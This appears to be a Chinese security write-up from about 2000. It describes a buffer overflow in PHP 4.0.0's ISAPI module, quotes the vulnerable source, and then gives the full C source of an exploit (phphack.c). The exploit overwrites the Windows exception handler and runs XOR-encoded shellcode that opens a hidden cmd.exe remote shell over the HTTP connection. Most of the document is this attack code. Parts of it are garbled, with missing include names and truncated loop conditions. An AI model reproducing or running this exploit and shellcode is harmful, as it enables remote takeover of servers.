hp4.0.0才出来的时候,我们测试发现php4isasp.dll有缓冲溢出漏洞,下面是php4isapi.c的相关源代码:
static void sapi_isapi_register_server_variables(zval *track_vars_array els_dc sls_dc pls_dc)
{
char static_variable_buf[isapi_server_var_buf_size];
char *variable_buf;
dword variable_len = isapi_server_var_buf_size;
char *variable;
char *strtok_buf = null;
lpextension_control_block lpecb;
char **p = isapi_server_variables;
lpecb = (lpextension_control_block) sg(server_context);
/* register the standard isapi variables */
while (*p) {
variable_len = isapi_server_var_buf_size;
if (lpecb->getservervariable(lpecb->connid, *p, static_variable_buf, &variable_len)
&& static_variable_buf[0]) {
php_register_variable(*p, static_variable_buf, track_vars_array els_cc pls_cc);
} else if (getlasterror() == error_insufficient_buffer) {
variable_buf = (char *) emalloc(variable_len);
if (lpecb->getservervariable(lpecb->connid, *p, variable_buf, &variable_len)
&& variable_buf[0]) {
php_register_variable(*p, variable_buf, track_vars_array els_cc pls_cc);
}
efree(variable_buf);
}
p++;
}
/* php_self support */
#ifdef with_zeus
if (lpecb->getservervariable(lpecb->connid, path_info, static_variable_buf, &variable_len)
#else
if (lpecb->getservervariable(lpecb->connid, script_name, static_variable_buf, &variable_len)
/* php4.0.0漏洞所在地,缓冲溢出。此时的variable_len变量已经是上次调用getservervariable 的返回变量 */
/* php4.0.3 已经修补 */
#endif
&& static_variable_buf[0]) {
php_register_variable(php_self, static_variable_buf, track_vars_array els_cc pls_cc);
/*
因为形参被覆盖,而这形参又很难伪造,所以传统的溢出攻击因为这个调用不能返回而无效
但我们可以使用异常结构攻击,可以参见我的相关的文章
*/
}
/* register the internal bits of all_http */
variable_len = isapi_server_var_buf_size;
if (lpecb->getservervariable(lpecb->connid, all_http, static_variable_buf, &variable_len)) {
variable_buf = static_variable_buf;
} else {
if (getlasterror()==error_insufficient_buffer) {
variable_buf = (char *) emalloc(variable_len);
if (!lpecb->getservervariable(lpecb->connid, all_http, variable_buf, &variable_len)) {
efree(variable_buf);
return;
}
} else {
return;
}
}
variable = php_strtok_r(variable_buf, \r\n, &strtok_buf);
while (variable) {
char *colon = strchr(variable, ':');
if (colon) {
char *value = colon+1;
while (*value==' ') {
value++;
}
*colon = 0;
php_register_variable(variable, value, track_vars_array els_cc pls_cc);
*colon = ':';
}
variable = php_strtok_r(null, \r\n, &strtok_buf);
}
if (variable_buf!=static_variable_buf) {
efree(variable_buf);
}
}
因为形参的问题,采用的覆盖异常处理结构的办法使得shellcode代码得到控制。但因为异常结构代码相对不统一,可能需要根据被攻击系统的windows版本调整相关参数。具体攻击测试代码:
/*
php4.0 overflow program phphack.c ver 1.0
copy by yuange 2000。08。16
*/
#include
#include
#include
#include
// #define debug
//#define reteipaddr eipwin2000
#define fnendlong 0x08
#define nopcode 'b' // inc edx 0x90
#define noplong 0x3c
#define buffsize 0x20000
#define reteipaddress 0x900+4
#define shellbuffsize 0x800
#define shellfnnums 9
#define dataxorcode 0xaa
#define lockbignum 19999999
#define lockbignum2 13579139
#define shellport 0x1f90 //0x1f90=8080
#define webport 80
void shellcodefnlock();
void shellcodefn(char *ecb);
void cleanchkesp(char *fnadd,char *shellbuff,char *chkespadd ,int len);
int main(int argc, char **argv)
{
char *server;
char *str=loadlibrarya\x0createpipe\x0
createprocessa\x0closehandle\x0
peeknamedpipe\x0
readfile\x0writefile\x0
sleep\x0
cmd.exe\x0\x0d\x0aexit\x0d\x0a\x0
xordata\x0
strend;
char buff1[]=get /default.php4;
char buff2[]= http/1.1 \nhost:;
char *fnendstr=\x90\x90\x90\x90\x90\x90\x90\x90\x90;
char srlf[]=\x0d\x0a\x00\x00;
char eipjmpesp[] =\xb7\x0e\xfa\x7f;
// push esp
// ret
char eipexcept[]=\xb8\x0e\xfa\x7f;
// ret
char eipjmpesi[]=\x08\x88\xfa\x7f;
char eipjmpedi[]=\xbe\x8b\xfa\x7f;
char eipjmpebx[]=\x73\x67\xfa\x7f;
// push ebx
// ret
/*
jmp ebx功能代码地址, 中文winnt、中文win2000此地址固定
这是处于c_936.nls模块
win2000发生异常调用异常处理结构代码时ebx指向异常结构。winnt老版本是esi,可用7ffa8808,后面版本是edi,可用7ffa8bbe。
*/
char buff[buffsize];
char recvbuff[buffsize];
char shellcodebuff[0x1000];
struct sockaddr_in s_in2,s_in3;
struct hostent *he;
char *shellcodefnadd,*chkespadd;
unsigned int sendpacketlong;
// unsigned
int i,j,k;
unsigned char temp;
int fd;
u_short port,port1,shellcodeport;
socket d_ip;
wsadata wsadata;
int offset=0;
int xordatabegin;
int lockintvar1,lockintvar2;
char lockcharvar;
int overadd=reteipaddress;
int result;
fprintf(stderr,\n php4.0 for win32 overflow program 2.0 .);
fprintf(stderr,\n copy by yuange 2000.8.16.);
fprintf(stderr,\n wellcome to my homepage http://yuange.yeah.net .);
fprintf(stderr,\n welcome to http://www.nsfocus.com .);
fprintf(stderr,\n usage: %s [webport] \n, argv[0]);
if(argc fprintf(stderr,\n please enter the web server:);
gets(recvbuff);
for(i=0;i if(recvbuff[i]!=' ') break;
}
server=recvbuff;
if(i/*
fprintf(stderr,\n please enter the offset(0-3):);
gets(buff);
for(i=0;i if(buff[i]!=' ') break;
}
offset=atoi(buff+i);
*/
}
result= wsastartup(makeword(1, 1), &wsadata);
if (result != 0) {
fprintf(stderr, your computer was not connected
to the internet at the time that
this program was launched, or you
do not have a 32-bit
connection to the internet.);
exit(1);
}
/*
if(argc>2){
offset=atoi(argv[2]);
}
overadd+=offset;
if(offset3){
fprintf(stderr,\n offset error !offset 0 - 3 .);
gets(buff);
exit(1);
}
*/
if(argc // wsacleanup( );
// exit(1);
}
else server = argv[1];
for(i=0;i if(server[i]!=' ')
break;
}
if(i
for(i=0;i+3
if(server[i]==':'){
if(server[i+1]=='\\'||server[i+1]=='/'){
if(server[i+2]=='\\'||server[i+2]=='/'){
server+=i;
server+=3;
break;
}
}
}
}
for(i=1;i if(server[i-1]=='\\'||server[i-1]=='/') server[i-1]=0;
}
d_ip = inet_addr(server);
if(d_ip==-1){
he = gethostbyname(server);
if(!he)
{
wsacleanup( );
printf(\n can't get the ip of %s !\n,server);
gets(buff);
exit(1);
}
else memcpy(&d_ip, he->h_addr, 4);
}
if(argc>2) port=atoi(argv[2]);
else port=webport;
if(port==0) port=webport;
fd = socket(af_inet, sock_stream,0);
i=8000;
setsockopt(fd,sol_socket,so_rcvtimeo,(const char *) &i,sizeof(i));
s_in3.sin_family = af_inet;
s_in3.sin_port = htons(port);
s_in3.sin_addr.s_addr = d_ip;
printf(\n nuke ip: %s port %d,inet_ntoa(s_in3.sin_addr),htons(s_in3.sin_port));
if(connect(fd, (struct sockaddr *)&s_in3, sizeof(struct sockaddr_in))!=0)
{
closesocket(fd);
wsacleanup( );
fprintf(stderr,\n connect err.);
gets(buff);
exit(1);
}
_asm{
mov esi,esp
cmp esi,esp
}
_chkesp();
chkespadd=_chkesp;
temp=*chkespadd;
if(temp==0xe9) {
++chkespadd;
i=*(int*)chkespadd;
chkespadd+=i;
chkespadd+=4;
}
shellcodefnadd=shellcodefnlock;
temp=*shellcodefnadd;
if(temp==0xe9) {
++shellcodefnadd;
k=*(int *)shellcodefnadd;
shellcodefnadd+=k;
shellcodefnadd+=4;
}
for(k=0;k if(memcmp(shellcodefnadd+k,fnendstr,fnendlong)==0) break;
}
memset(buff,nopcode,buffsize);
if(argc>4){
memcpy(buff,argv[4],strlen(argv[4]));
}
else memcpy(buff,buff1,strlen(buff1));
// strcpy(buff,buff1);
// memset(buff+strlen(buff),nopcode,1);
memcpy(buff+overadd+0x60+noplong,shellcodefnadd+k+4,0x80);
// memcpy(buff+noplong,shellcodefnadd+k+4,0x80);
shellcodefnadd=shellcodefn;
temp=*shellcodefnadd;
if(temp==0xe9) {
++shellcodefnadd;
k=*(int *)shellcodefnadd;
shellcodefnadd+=k;
shellcodefnadd+=4;
}
for(k=0;k if(memcmp(shellcodefnadd+k,fnendstr,fnendlong)==0) break;
}
memcpy(shellcodebuff,shellcodefnadd,k); //j);
cleanchkesp(shellcodefnadd,shellcodebuff,chkespadd,k);
for(i=0;i if(memcmp(str+i,strend,6)==0) break;
}
memcpy(shellcodebuff+k,str,i);
sendpacketlong=k+i;
for(k=0;k if(memcmp(buff+overadd+noplong+k,fnendstr,fnendlong)==0) break;
// if(memcmp(buff+noplong+k,fnendstr,fnendlong)==0) break;
}
for(i=0;i temp=shellcodebuff[i];
temp^=dataxorcode;
if(temp buff[overadd+noplong+k]='0';
// buff[noplong+k]='0';
++k;
temp+=0x40;
}
buff[overadd+noplong+k]=temp;
// buff[noplong+k]=temp;
++k;
}
// memcpy(buff+overadd+noplong+k,shellcodebuff,sendpacketlong);
// k+=sendpacketlong;
/*
for(i=-0x30;i memcpy(buff+overadd+i,eipexcept,4);
}
memcpy(buff+overadd+i,eipjmpesp,4);
*/
for(i=-40;i memcpy(buff+overadd+i,\x42\x42\x42\x2d,4);
memcpy(buff+overadd+i+4,eipjmpebx,4);
}
memcpy(buff+overadd+i+8,\x42\x42\x42\x42\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x5b\xff\x63\x64\x42\x42\x42\x42,24);
// fprintf(stderr,\n offset:%d,offset);
/*
192.168.8.48
if(argc>2){
server=argv[2];
if(strcmp(server,win9x)==0){
memcpy(buff+overadd,eipwin9x,4);
fprintf(stderr,\n nuke win9x.);
}
if(strcmp(server,winnt)==0){
memcpy(buff+overadd,eipwinnt,4);
fprintf(stderr,\n nuke winnt.);
}
}
*/
sendpacketlong=k+overadd+i+noplong;
//sendpacketlong=k+noplong;
strcpy(buff+sendpacketlong,buff2);
strcpy(buff+sendpacketlong+strlen(buff2),server);
sendpacketlong=strlen(buff);
// buff[sendpacketlong]=0x90;
strcpy(buff+sendpacketlong,\n\n);
/*
buff[sendpacketlong]=0x90;
for(i=-0x30;i memcpy(buff+sendpacketlong+overadd+i,eipexcept,4);
}
memcpy(buff+sendpacketlong+overadd+i,eipwinnt,4);
strcpy(buff+sendpacketlong+overadd+i+4,\xff\x63\x64);
strcpy(buff+sendpacketlong+overadd+i+20,\n\n);
*/
// printf(\n send buff:\n%s,buff);
// strcpy(buff+overadd+noplong,shellcode);
sendpacketlong=strlen(buff);
/*
#ifdef debug
_asm{
lea esp,buff
add esp,overadd
ret
}
#endif
*/
if(argc>6) {
if(strcmp(argv[6],debug)==0) {
_asm{
lea esp,buff
add esp,overadd
ret
}
}
}
xordatabegin=0;
for(i=0;i j=sendpacketlong;
fprintf(stderr,\n send packet %d bytes.,j);
// fprintf(stderr,\n sned:\n%s ,buff);
send(fd,buff,j,0);
k=recv(fd,recvbuff,0x1000,0);
if(k>=8&&memcmp(recvbuff,xordata,8)==0) {
xordatabegin=1;
k=-1;
fprintf(stderr,\n ok!\n);
}
if(k>0){
recvbuff[k]=0;
fprintf(stderr,\n recv:\n %s,recvbuff);
}
}
k=1;
ioctlsocket(fd, fionbio, &k);
// fprintf(stderr,\n now begin: \n);
lockintvar1=lockbignum2%lockbignum;
lockintvar2=lockintvar1;
/*
for(i=0;i srlf[i]^=dataxorcode;
}
send(fd,srlf,strlen(srlf),0);
send(fd,srlf,strlen(srlf),0);
send(fd,srlf,strlen(srlf),0);
*/
k=1;
while(k!=0){
if(k gets(buff);
k=strlen(buff);
memcpy(buff+k,srlf,3);
// send(fd,srlf,strlen(srlf),0);
// fprintf(stderr,%s,buff);
for(i=0;i lockintvar2=lockintvar2*0x100;
lockintvar2=lockintvar2%lockbignum;
lockcharvar=lockintvar2%0x100;
buff[i]^=lockcharvar; // dataxorcode;
// buff[i]^=dataxorcode;
}
send(fd,buff,k+2,0);
// send(fd,srlf,strlen(srlf),0);
}
k=recv(fd,buff,0x1000,0);
if(xordatabegin==0&&k>=8&&memcmp(buff,xordata,8)==0) {
xordatabegin=1;
k=-1;
}
if(k>0){
// fprintf(stderr,recv %d bytes,k);
if(xordatabegin==1){
for(i=0;i lockintvar1=lockintvar1*0x100;
lockintvar1=lockintvar1%lockbignum;
lockcharvar=lockintvar1%0x100;
buff[i]^=lockcharvar; // dataxorcode;
}
}
buff[k]=0;
fprintf(stderr,%s,buff);
}
// if(k==0) break;
}
closesocket(fd);
wsacleanup( );
fprintf(stderr,\n the server close connect.);
gets(buff);
return(0);
}
void shellcodefnlock()
{
_asm{
nop
nop
nop
nop
nop
nop
nop
nop
_emit('.')
_emit('p')
_emit('h')
_emit('p')
_emit('4')
_emit('?')
jmp next
getediadd: pop edi
push edi
pop esi
push ebx // ecb
push ebx // call shellcodefn ret address
xor ecx,ecx
looplock: lodsb
cmp al,cl
jz shell
cmp al,0x30
jz clean0
sto: xor al,dataxorcode
stosb
jmp looplock
clean0: lodsb
sub al,0x40
jmp sto
next: call getediadd
shell: nop
nop
nop
nop
nop
nop
nop
nop
}
}
void shellcodefn(char *ecb)
{ char buff[shellbuffsize+2];
int *except[2];
farproc sleepadd;
farproc writefileadd;
farproc readfileadd;
farproc peeknamedpipeadd;
farproc closehandleadd;
farproc createprocessadd;
farproc createpipeadd;
farproc procloadlib;
farproc apifnadd[1];
farproc procgetadd=0;
farproc writeclient= *(int *)(ecb+0x84);
farproc readclient = *(int *)(ecb+0x88);
hconn connid = *(int *)(ecb+8) ;
char *stradd;
int imgbase,fnbase,k,l;
handle libhandle; //libwsock32;
startupinfo siinfo;
process_information processinformation;
handle hreadpipe1,hwritepipe1,hreadpipe2,hwritepipe2;
int lbytesread;
int lockintvar1,lockintvar2;
char lockcharvar;
security_attributes sa;
_asm { jmp nextcall
getstradd: pop stradd
lea edi,except
mov dword ptr fs:[0],edi
}
except[0]=0xffffffff;
except[1]=stradd-0x07;
imgbase=0x77e00000;
_asm{
call getexceptretadd
}
for(;imgbase imgbase+=0x10000;
if(imgbase==0x78000000) imgbase=0xbff00000;
if(*( word *)imgbase=='zm'&& *(word *)(imgbase+*(int *)(imgbase+0x3c))=='ep'){
fnbase=*(int *)(imgbase+*(int *)(imgbase+0x3c)+0x78)+imgbase;
k=*(int *)(fnbase+0xc)+imgbase;
if(*(int *)k =='nrek'&&*(int *)(k+4)=='23le'){
libhandle=imgbase;
k=imgbase+*(int *)(fnbase+0x20);
for(l=0;l if(*(int *)(imgbase+*(int *)k)=='pteg'&&*(int *)(4+imgbase+*(int *)k)=='acor')
{
k=*(word *)(l+l+imgbase+*(int *)(fnbase+0x24));
k+=*(int *)(fnbase+0x10)-1;
k=*(int *)(k+k+k+k+imgbase+*(int *)(fnbase+0x1c));
procgetadd=k+imgbase;
break;
}
}
}
}
}
//搜索kernel32。dll模块地址和api函数 getprocaddress地址
//注意这儿处理了搜索页面不在情况。
if(procgetadd==0) goto die ;
for(k=1;k apifnadd[k]=procgetadd(libhandle,stradd);
for(;;++stradd){
if(*(stradd)==0&&*(stradd+1)!=0) break;
}
++stradd;
}
sa.nlength=12;
sa.lpsecuritydescriptor=0;
sa.binherithandle=true;
createpipeadd(&hreadpipe1,&hwritepipe1,&sa,0);
createpipeadd(&hreadpipe2,&hwritepipe2,&sa,0);
// zeromemory(&siinfo,sizeof(siinfo));
_asm{
lea edi,siinfo
xor eax,eax
mov ecx,0x11
repnz stosd
}
siinfo.dwflags = startf_useshowwindow|startf_usestdhandles;
siinfo.wshowwindow = sw_hide;
siinfo.hstdinput = hreadpipe2;
siinfo.hstdoutput=hwritepipe1;
siinfo.hstderror =hwritepipe1;
k=0;
// while(k==0)
// {
k=createprocessadd(null,stradd,null,null,1,0,null,null,&siinfo,&processinformation);
stradd+=8;
// }
peeknamedpipeadd(hreadpipe1,buff,shellbuffsize,&lbytesread,0,0);
k=8;
writeclient(connid,stradd+9,&k,0);
lockintvar1=lockbignum2%lockbignum;
lockintvar2=lockintvar1;
while(1) {
peeknamedpipeadd(hreadpipe1,buff,shellbuffsize,&lbytesread,0,0);
if(lbytesread>0) {
readfileadd(hreadpipe1,buff,lbytesread,&lbytesread,0);
if(lbytesread>0) {
for(k=0;k lockintvar2=lockintvar2*0x100;
lockintvar2=lockintvar2%lockbignum;
lockcharvar=lockintvar2%0x100;
buff[k]^=lockcharvar; // dataxorcode;
// buff[k]^=dataxorcode;
}
writeclient(connid,buff,&lbytesread,0); // hse_io_sync);
}
}
else{
lbytesread=shellbuffsize;
k=readclient(connid,buff,&lbytesread);
if(k!=1){
k=8;
writefileadd(hwritepipe2,stradd,k,&k,0); // exit cmd.exe
writefileadd(hwritepipe2,stradd,k,&k,0); // exit cmd.exe
writefileadd(hwritepipe2,stradd,k,&k,0); // exit cmd.exe
while(1){
sleepadd(0x7fffffff); //僵死
}
}
else{
for(k=0;k lockintvar1=lockintvar1*0x100;
lockintvar1=lockintvar1%lockbignum;
lockcharvar=lockintvar1%0x100;
buff[k]^=lockcharvar; // dataxorcode;
// buff[k]^=dataxorcode;
}
writefileadd(hwritepipe2,buff,lbytesread,&lbytesread,0);
// sleepadd(1000);
}
}
}
die: goto die ;
_asm{
getexceptretadd: pop eax
push eax
mov edi,dword ptr [stradd]
mov dword ptr [edi-0x0e],eax
ret
errprogram: mov eax,dword ptr [esp+0x0c]
add eax,0xb8
mov dword ptr [eax],0x11223344 //stradd-0xe
xor eax,eax //2
ret //1
execptprogram: jmp errprogram //2 bytes stradd-7
nextcall: call getstradd //5 bytes
nop
nop
nop
nop
nop
nop
nop
nop
nop
}
}
void cleanchkesp(char *fnadd,char *shellbuff,char * chkesp,int len)
{
int i,k;
unsigned char temp;
char *calladd;
for(i=0;i temp=shellbuff[i];
if(temp==0xe8){
k=*(int *)(shellbuff+i+1);
calladd=fnadd;
calladd+=k;
calladd+=i;
calladd+=5;
if(calladd==chkesp){
shellbuff[i]=0x90;
shellbuff[i+1]=0x43; // inc ebx
shellbuff[i+2]=0x4b; // dec ebx
shellbuff[i+3]=0x43;
shellbuff[i+4]=0x4b;
}
}
}
